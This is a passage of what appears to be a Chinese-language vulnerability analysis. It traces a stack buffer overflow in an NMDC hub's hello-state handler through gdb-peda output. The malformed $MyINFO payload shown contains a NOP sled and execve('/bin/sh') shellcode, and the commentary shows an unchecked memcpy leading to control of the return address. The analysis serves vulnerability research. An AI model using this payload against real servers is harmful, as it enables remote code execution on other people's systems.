Guessed arguments:
arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144
[------------------------------------stack-------------------------------------]
0000| 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
0004| 0xbfffefb4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbfffefb8 --> 0x144
0012| 0xbfffefbc --> 0xb7e4a5d0 (<_IO_str_init_static_internal+64>: )
0016| 0xbfffefc0 --> 0x79 ('y')
0020| 0xbfffefc4 --> 0x806c328 ("Pierre")
0024| 0xbfffefc8 --> 0x79 ('y')
0028| 0xbfffefcc --> 0x50 ('P')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()
memcpy会将整个畸形payload考入到缓冲区中,这个过程没有对payload的长度进行检查而是直接拷贝,可以看到从recv开始到memcpy都一直没有进行长度控制,接下来返回时。
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0
EDX: 0x5
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EIP: 0x8053d2c (<proto_nmdc_state_hello+844>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8053d29 <proto_nmdc_state_hello+841>: pop esi
0x8053d2a <proto_nmdc_state_hello+842>: pop edi
0x8053d2b <proto_nmdc_state_hello+843>: pop ebp
=> 0x8053d2c <proto_nmdc_state_hello+844>: ret
0x8053d2d <proto_nmdc_state_hello+845>: lea esi,[esi+0x0]
0x8053d30 <proto_nmdc_state_hello+848>: add esp,0x2ec
0x8053d36 <proto_nmdc_state_hello+854>: xor ebp,ebp
0x8053d38 <proto_nmdc_state_hello+856>: pop ebx
[------------------------------------stack-------------------------------------]
0000| 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
0004| 0xbffff2c0 --> 0x80626d6 --> 0x0
0008| 0xbffff2c4 --> 0xb1b1b1b1
0012| 0xbffff2c8 --> 0xb1b1b1b1
0016| 0xbffff2cc --> 0xb1b1b1b1
0020| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0028| 0xbffff2d8 --> 0xcacaca24
由于缓冲区溢出,导致返回地址被覆盖,到达可控位置。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0
EDX: 0x5
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8066a27 <buf+39>: push esi
0x8066a28 <buf+40>: popa
0x8066a29 <buf+41>: ins BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>: imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
0x8066a32 <buf+50>: imul esp,DWORD PTR [eax],0x50
0x8066a35 <buf+53>: imul esp,DWORD PTR [ebp+0x72],0x247c6572
0x8066a3c <buf+60>: push esi
0x8066a3d <buf+61>: outs dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0
0004| 0xbffff2c4 --> 0xb1b1b1b1
0008| 0xbffff2c8 --> 0xb1b1b1b1
0012| 0xbffff2cc --> 0xb1b1b1b1
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24
0028| 0xbffff2dc --> 0x505a20ca
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08066a2a in buf ()